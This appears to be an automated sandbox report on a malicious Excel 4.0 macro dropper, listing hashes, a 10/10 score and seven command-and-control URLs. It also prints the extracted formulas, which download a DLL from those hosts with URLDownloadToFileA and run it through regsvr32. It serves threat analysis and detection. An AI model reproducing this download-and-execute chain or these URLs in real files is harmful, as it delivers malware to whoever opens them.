General

  • Target

    024f6086a2047a875c8589f8474030be1b38d8f1b8f902eb466aa1d1c2c5ffa1

  • Size

    30KB

  • Sample

    241120-kke9dsvejj

  • MD5

    57ae023feb4532e62c44c809f0c8dcff

  • SHA1

    f1e3a9de686d5401476f28a83d789a2195adc5e8

  • SHA256

    024f6086a2047a875c8589f8474030be1b38d8f1b8f902eb466aa1d1c2c5ffa1

  • SHA512

    4e84283a658fa396e18be152db6c859d1d1a36afc6464a5ee206bb3ac734304491b8a45165c3a659446411d62c70811d99f2b756d119f1a54926704d79837338

  • SSDEEP

    384:7842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:sHFhNZliH2ydFfPdkqstJhE6v

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/

http://blog.centerking.top/wp-includes/DBq5jx/

http://polarrefrigeracao.com.br/fontes/y7QpO/

http://filmsetserie.dx.am/img/ghCY9J5KD1J/

https://vagbharati.in/wp-admin/nYBb/

http://advogadogoiania.com.br/wp-includes/O9Az4/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

Targets

    • Target

      024f6086a2047a875c8589f8474030be1b38d8f1b8f902eb466aa1d1c2c5ffa1

    • Size

      30KB

    • MD5

      57ae023feb4532e62c44c809f0c8dcff

    • SHA1

      f1e3a9de686d5401476f28a83d789a2195adc5e8

    • SHA256

      024f6086a2047a875c8589f8474030be1b38d8f1b8f902eb466aa1d1c2c5ffa1

    • SHA512

      4e84283a658fa396e18be152db6c859d1d1a36afc6464a5ee206bb3ac734304491b8a45165c3a659446411d62c70811d99f2b756d119f1a54926704d79837338

    • SSDEEP

      384:7842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:sHFhNZliH2ydFfPdkqstJhE6v

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks